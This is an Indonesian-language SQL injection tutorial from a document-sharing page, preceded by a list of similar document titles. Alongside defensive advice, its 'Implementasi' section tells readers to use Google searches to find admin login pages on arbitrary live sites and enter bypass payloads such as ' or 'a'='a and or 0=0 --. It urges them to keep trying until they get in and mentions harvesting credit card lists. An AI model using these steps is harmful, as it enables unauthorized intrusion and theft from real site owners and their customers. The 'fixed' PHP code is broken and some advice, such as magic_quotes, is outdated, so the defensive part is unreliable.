TUTORIAL SQL INJECTION

dokumen-dokumen yang mirip
TUGAS KELOMPOK SECURITY COMPUTER TOOL HACKING SQL INJECTION

KEAMANAN KOMPUTER APLIKASI HAVIJ KELOMPOK : BAGUS WAHYU SANTOSO KHAIRUL RAHMAN RENDY ZULIANSYAH

Keamanan Data di dalam Cloud Storage

Artikel ini akan memberikan informasi bagi pembaca yang kesulitan dengan Teknik Mencegah SQL Injection pada PHP.

Hacking Website With SQL Injection

Analisis Penanganan SQL Injection pada Basis Data MySQL dengan Framework Code Igniter dan PHP

Tips Keamanan Aplikasi Web PHP & MySQL

BAB 1 PENDAHULUAN. berkomunikasi. Hal tersebut dapat dilakukan dengan hanya mengetik alamat ip address

WAP (3) Muhammad Zen S. Hadi, ST. MSc. WAP - The Wireless Application Protocol

KINERJA APLIKASI CLIENT SERVER UNTUK SISTEM INFORMASI TUMBUH KEMBANG BALITA

Keamanan Web Server. Pertemuan XI WEB HACKING

BAB IV HASIL DAN UJI COBA

BAB XIII BEKERJA DENGAN SESSION

Andi Dwi Riyanto, M.Kom

BAB 1 PENDAHULUAN. 1.1 Latar Belakang

KAKAS UNTUK MENDETEKSI LUBANG KEAMANAN PADA APLIKASI WEB BERBASIS PHP DAN MYSQL YANG DAPAT DI EKSPLOITASI OLEH SERANGAN SQL INJECTION

rancang bangun aplikasi web vulnerability scanner terhadap kelemahan sql injection dan xss menggunakan java

BAB IV IMPLEMENTASI SISTEM

BAB IV HASIL DAN PEMBAHASAN

echo zine, issue // Pengamanan URL dengan MAC

Widhy Hayuhardhika NP, S.Kom

BAB III ANALISA DAN PERANCANGAN SISTEM

E-trik Ajax. Database MySQL. Dedi Alnas

MySQL J A M K E T I G A

BAB V PENGUJIAN SISTEM DAN IMPLEMENTASI. komponen sistem yang diimplementasikan dan mengetahui kelemahan dari

BAB IV IMPLEMENTASI DAN PENGUJIAN

Step-Step dalam pembuatan Web

Eksekusi file setup.exe yang ada dalam CD atau folder instalasi oracle.

BAB IV HASIL DAN UJI COBA

Mengelola Bagian Utama Website Sekolah

BAB IV HASIL DAN UJI COBA

PHP & MYSQL. Ingat, PC anda tidak memerlukan tambahan khusus atau apapun untuk melihat hasil eksekusi kode PHP anda. Mengapa?

BAB V IMPLEMENTASI DAN PENGUJIAN SISTEM. Implementasi perancangan pada sistem informasi perparkiran

BAB IV HASIL DAN PEMBAHASAN

BAB V IMPLEMENTASI DAN PEMBAHASAN

BAB IV PENGUJIAN DAN ANALISIS

Modul Pembangunan Aplikasi Basis Data Lanjut 2014

Mengakses Microsoft SQL Server dengan PHP

BAB V IMPLEMENTASI DAN PEMBAHASAN

BAB IV IMPLEMENTASI DAN PENGUJIAN SISTEM

BAB IV HASIL DAN UJI COBA

BAB IV IMPLEMENTASI SISTEM. analisis dan perancangan dijadikan acuan dalam pembuatan kode program. Pada

Modul-5 GET & POST. Pemograman Web TEKNIK INFORMATIKA UNIVERSITAS PASUNDAN BANDUNG

PHP + MySQL M. RUDYANTO ARIEF, MT

BAB IV IMPLEMENTASI DAN EVALUASI. proses mengubah hasil dari analisis kedalam bahasa pemrograman yang

Membuat Aplikasi Tampil, Entri, Edit, Delete Mahasiswa

BAB IV HASIL DAN PEMBAHASAN

Langkah-langkah Pembuatan Web dengan Joomla

SMART LOGIN PADASITUSWEB MENGGUNAKANQR-CODE. Masdito Bachtiar Pembimbing 1 : Ary Mazharuddin S., S.Kom., M.Comp.Sc

MODUL 8 Insert, Update, & delete

BAB IV IMPLEMENTASI DAN PENGUJIAN

JURNAL TEKNIK POMITS Vol. 2, No. 1, (2013) ISSN: ( Print) 1

BAB III PEMBAHASAN 3.1 Analisa Sistem

Gambar 3.1 Data Flow Diagram Level 0

Pemrograman Web. Koneksi dan Manipulasi Basis Data. 7 Adam Hendra Brata

MODUL 5 GET & POST Pemograman Web Teknik Informatika Universitas Pasundan Bandung 2016/2017

Bab 4 Implementasi dan Evaluasi

Form Mampu membuat form dan dan mengirim data ke halaman lain Pengaturan Validasi dan keamanan form. Sesi 5

Langkah-langkah pembuatan website dengan Instalasi secara online

TUTORIAL ANTI INJECTION 1. SCRIPT CODE LOGIN ANTI SQL INJECTION. Materi asli dari Masinosinaga baca dibawah ini:

Pencari Celah Keamanan pada Aplikasi Web

BAB IV HASIL DAN UJI COBA

BAB IV HASIL DAN UJI COBA

BAB IV IMPLEMENTASI DAN PENGUJIAN

Bab 4 Hasil dan Pembahasan

Secara umum, eksploit dapat dibagi atas dua jenis, yaitu eksploit lokal (local exploit), dan eksploit remote (remote exploit).

Pemrograman Web. Koneksi dan Manipulasi Basis Data. Adam Hendra Brata

BAB IV HASIL DAN UJI COBA

BAB IV HASIL DAN UJI COBA

BAB IV IMPLEMENTASI DAN PENGUJIAN SISTEM

BAB IV HASIL DAN UJI COBA

Query adalah bahasa SQL (Structured Query Language) yang ditampilkan dalam bentuk visual, yang dapat digunakan untuk melihat, memodifikasi dan

BAB IV IMPLEMENTASI DAN PENGUJIAN

BAB IV PERANCANGAN SISTEM

BAB V IMPLEMENTASI DAN PENGUJIAN SISTEM. Implementasi yang diterapkan demi terciptanya suatu sistem informasi

BAB III ANALISIS DAN DESAIN SISTEM


BAB IV HASIL DAN UJI COBA

BAB III RANCANGAN PENGUJIAN. aplikasi ini adalah black box testing. Black box testing atau tes fungsional adalah

BAB IV HASIL DAN UJI COBA

BAB V PEMBAHASAN DAN IMPLEMENTASI

BAB IV HASIL DAN UJI COBA

Jurnal Ilmiah Komputer dan Informatika (KOMPUTA) 45 Edisi... Volume..., Bulan 20.. ISSN :

Bab 4 Pembahasan Dan Hasil Pengujian

MATERI WEB. Pembuatan Login Aplikasi, Dasboard Admin & Menu Keluar menggunakan PHP & Mysql. Bas-Dev : Ahmad Bastiar

BAB IV HASIL DAN UJI COBA

Bab 4. Hasil dan Pembahasan

Modul-7 CRUD & Searching. Pemograman Web TEKNIK INFORMATIKA UNIVERSITAS PASUNDAN BANDUNG

TUGAS KEAMANAN JARINNGAN KOMPUTER

Pengenalan JavaScript

BAB V IMPLEMENTASI DAN PENGUJIAN SISTEM. kelemahan dari perangkat lunak. Tujuan dari pengujian ini adalah untuk

MODUL PEMOGRAMAN WEB II STMIK IM BANDUNG MODUL PEMOGRAMAN WEB II. Oleh: CHALIFA CHAZAR. Chalifa Chazar edu.script.id

BAB IV IMPLEMENTASI DAN PENGUJIAN

BUKU PANDUAN APLIKASI PELAPORAN DATA

BAB IV IMPLEMENTASI DAN PENGUJIAN. Setelah melakukan tahap analisis dan perancangan sistem selesai di

DAFTAR ISI. LEMBAR PENGESAHAN PEMBIMBING... iii. LEMBAR PENGESAHAN PENGUJI... iv. LEMBAR PERNYATAAN KEASLIAN... v. HALAMAN PERSEMBAHAN...

DESKRIPSI PERANCANGAN PERANGKAT LUNAK SISTEM PENTIKETAN ELEKTRONIK KONSER (SPEK) Dipersiapkan oleh: Kelompok 3

MANUAL PENGOPERASIAN JSTOCKINVENTORY Twitter

Xcode Intensif Training. Advanced ethical web. hacking & security

Kapita Selekta (KBKI82127, 2 sks) Materi : Penanganan Form

Transkripsi:

TUTORIAL SQL INJECTION Pengertian SQL Injection 1) SQL injection adalah sebuah aksi hacking yang dilakukan di aplikasi client dengan cara memodifikasi perintah SQL yang ada di memori aplikasi client. 2) SQL Injection merupakan teknik mengeksploitasi web aplikasi yang didalamnya menggunakan database untuk penyimpanan data. Sebab terjadinya SQL Injection 1) Tidak adanya penanganan terhadap karakter karakter tanda petik satu dan juga karakter double minus -- yang menyebabkan suatu aplikasi dapat disisipi dengan perintah SQL. 2) Sehingga seorang Hacker menyisipkan perintah SQL kedalam suatu parameter maupun suatu form. Bug SQL Injection berbahaya? 1) Teknik ini memungkinkan seseorang dapat login kedalam sistem tanpa harus memiliki account. 2) Selain itu SQL injection juga memungkinkan seseorang merubah, menghapus, maupun menambahkan data data yang berada didalam database. 3) Bahkan yang lebih berbahaya lagi yaitu mematikan database itu sendiri, sehingga tidak bisa memberi layanan kepada web server. Apa saja yang diperlukan untuk melakukan SQL Injection? 1) Internet Exploler / Browser 2) PC yang terhubung internet 3) Program atau software seperti softice

Contoh sintaks SQL Injection Contoh sintak SQL dalam PHP 1) $SQL = select * from login where username = $username and password = $password ;, {dari GET atau POST variable } 2) isikan password dengan string or = 3) hasilnya maka SQL akan seperti ini = select * from login where username = $username and password= pass or = ;, { dengan SQL ini hasil selection akan selalu TRUE } 4) maka kita bisa inject sintax SQL (dalam hal ini OR) kedalam SQL Gambar contoh SQL Injection Contoh sintaks SQL Injection 1) Sintaks SQL string -- setelah nama username 2) Query database awal : Berubah menjadi :

Contoh sintaks SQL Injection SQL Injection melalui URL, contohnya : Penanganan SQL Injection 1) Merubah script php 2) Menggunakan MySQL_escape_string 3) Pemfilteran karakter dengan memodifikasi php.ini 1. Merubah script php Contoh script php semula : $query = "select id,name,email,password,type,block from user ". "where email = '$Email' and password = '$Password'"; $hasil = mysql_query($query, $id_mysql); while($row = mysql_fetch_row($hasil)) { $Id = $row[0]; $name = $row[1]; $email = $row[2]; $password = $row[3]; $type = $row[4]; $block = $row[5]; } if(strcmp($block, 'yes') == 0) { echo "<script>alert('your account has been blocked');

document.location.href='index.php';</script>\n"; exit(); } else if(!empty($id) &&!empty($name) &&!empty($email) &&!empty($password)); Script diatas memungkinkan seseorang dapat login dengan menyisipkan perintah SQL kedalam form login. Ketika hacker menyisipkan karakter or = kedalam form email dan password maka akan terbentuk query sebagai berikut : Maka dilakukan perubahan script menjadi : $query = "select id,name,email,password,type,block from user". "where email = '$Email'"; $hasil = mysql_query($query, $id_mysql); while($row = mysql_fetch_row($hasil)) { $Id = $row[0]; $name = $row[1]; $email = $row[2]; $password = $row[3]; $type = $row[4]; $block = $row[5]; } if(strcmp($block, 'yes') == 0) { echo "<script>alert('your account has been blocked'); document.location.href='index.php';</script>\n"; exit(); } $pass = md5($password); else if((strcmp($email,$email) == 0) && strcmp($pass,$password) == 0));

2. Menggunakan MySQL_escape_string Merubah string yang mengandung karakter menjadi \ misal SQL injec tion menjadi SQL injec\ tion Contoh : $kar = SQL injec tion ; $filter = mysql_escape_string($kar); echo Hasil filter : $filter ; Hasilnya : 3. Pemfilteran karakter dengan memodifikasi php.ini Modifikasi dilakukan dengan mengenablekan variabel magic_quotes pada php.ini sehingga menyebabkan string maupun karakter diubah menjadi \ secara otomatis oleh php Contoh :

Contoh script yang membatasi karakter yang bisa masukkan : function validatepassword( input ) good_password_chars = "abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz" validatepassword = true for i = 1 to len( input ) c = mid( input, i, 1 ) if ( InStr( good_password_chars, c ) = 0 ) then validatepassword = false exit function end if next end function Implementasi SQL Injection 1) Masuk ke google atau browse yg lain 2) Masukkan salah satu keyword berikut "/admin.asp" "/login.asp" "/logon.asp" "/adminlogin.asp" "/adminlogon.asp" "/admin_login.asp" "/admin_logon.asp" "/admin/admin.asp" "/admin/login.asp" "/admin/logon.asp" {anda bisa menambahi sendiri sesuai keinginan anda}

3) Bukalah salah satu link yang ditemukan oleh google, kemungkinan Anda akan menjumpai sebuah halaman login (user name danpassword). 4) Masukkan kode berikut : User name : ` or `a'='a Password : ` or `a'='a (termasuk tanda petiknya) 5) Jika berhasil, kemungkinan Anda akan masuk ke admin panel, di mana Anda bisa menambahkan berita, mengedit user yang lain, merubah about, dan lain-lain. Jika beruntung Anda bisa mendapatkan daftar kredit card yang banyak. 6) Jika tidak berhasil, cobalah mencari link yang lain yang ditemukan oleh google. 7) Banyak variasi kode yang mungkin, antara lain : User name : admin Password : ` or `a'='a atau bisa dimasukkan ke dua duanya misal : or 0=0 -- ; or 0=0 -- ; or 0=0 -- ; or 0=0 # ; or 0=0 # ; or x = x ; or x = x ; ) or ( x = x 8) Cobalah sampai berhasil hingga anda bisa masuk ke admin panel Cara pencegahan SQL INJECTION 1) Batasi panjang input box (jika memungkinkan), dengan cara membatasinya di kode program, jadi si cracker pemula akan bingung sejenak melihat input box nya gak bisa diinject dengan perintah yang panjang. 2) Filter input yang dimasukkan oleh user, terutama penggunaan tanda kutip tunggal (Input Validation). 3) Matikan atau sembunyikan pesan-pesan error yang keluar dari SQL Server yang berjalan. 4) Matikan fasilitas-fasilitas standar seperti Stored Procedures, Extended Stored Procedures jika memungkinkan. 5) Ubah "Startup and run SQL Server" menggunakan low privilege user di SQL Server Security tab.

Hacking adalah seni. Hacking adalah perpaduan dari pengetahuan, kreatifitas dan kesabaran. Jika Anda memiliki ketiga-tiganya Anda akan berhasil. R E F E R E N S I 1) -------------, SQLinjection, (www.blackangels.it). 2) -------------, Advanced SQL injection in SQL server applications, (www.ngssoftware.com). 3) -------------, SQL injection walktrough (www.securiteam.com). 4) BM-100, Hacking hiltonjakarta.com (SQL Injection), 24 Juli 2005, (http://www.jasakom.com). 5) Budi Raharjo, Keamanan Sistem Informasi Berbasis Internet, PT Insan Indonesia & PT INDOCISC, Jakarta,2002.